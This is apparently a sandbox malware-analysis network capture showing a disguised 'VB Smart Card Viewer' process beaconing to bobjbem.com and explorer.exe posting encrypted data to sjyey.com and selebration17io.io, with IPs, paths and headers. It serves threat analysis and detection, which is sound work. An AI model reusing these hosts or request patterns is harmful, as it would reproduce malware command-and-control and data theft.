Feb 5, 2024 11:00:15.153904915 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:15.397917032 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.4	49992	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:15.764173031 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:16.002006054 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.4	49993	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:16.360100985 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:16.608608007 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.4	49994	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:16.963740110 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:17.209176064 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.4	49995	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:17.564080000 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:17.802563906 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.4	49996	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:18.043399096 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gvawjosrdca.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 119 Host: sjyey.com
Feb 5, 2024 11:00:18.043451071 CET	119	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 4c 0f f9 a3 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA .[k,vuLZArNr!da{N@-5
Feb 5, 2024 11:00:18.808173895 CET	252	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 10:00:18 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 7 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.4	49997	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:18.151871920 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:18.397352934 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.4	49998	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:18.763500929 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:19.001559973 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.4	49999	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:19.356714964 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:19.600050926 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.4	50000	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:19.507801056 CET	286	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mnfasdshoaslal.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 203 Host: selebration17io.io
Feb 5, 2024 11:00:19.507829905 CET	203	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 ac a4 40 a3 Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bO@~l709+orkLRe]W4 &it1#HR-&zftB3Wi
Feb 5, 2024 11:00:19.759321928 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 10:00:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.4	50001	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:19.944993973 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:20.193161011 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.4	50002	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:20.796638966 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:21.035048962 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.4	50003	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:21.539474964 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:21.782490015 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.4	50004	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:22.136746883 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:22.382064104 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.4	50005	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:22.740655899 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:22.978926897 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.4	50006	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:23.340501070 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:23.585464001 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.4	50008	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:23.927088022 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:24.175232887 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.4	50009	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:24.539120913 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:24.777673960 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.4	50010	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:25.174719095 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:25.418890953 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.4	50013	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:25.765167952 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:26.003031015 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.4	50015	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:26.390242100 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:26.634308100 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.4	50016	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:26.562045097 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qkonmmlosmdqy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 192 Host: sjyey.com
Feb 5, 2024 11:00:26.562089920 CET	192	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 46 57 d5 bc Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA .[k,vuFW~&\|[m\|LZr.q*\| A='&E]~}$$S.xm\
Feb 5, 2024 11:00:27.295202971 CET	252	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 10:00:26 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 7 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.4	50017	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:27.017049074 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:27.259968996 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.4	50018	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:27.600717068 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 11:00:27.839663029 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 10:00:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.4	50021	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 11:00:28.027055979 CET	286	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://npqsqsbouhfmoy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 119 Host: selebration17io.io
Feb 5, 2024 11:00:28.027055979 CET	119	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 e2 e5 35 af Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bO5%\|gS;)B7Ct[}=3&
Feb 5, 2024 11:00:28.283126116 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 10:00:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

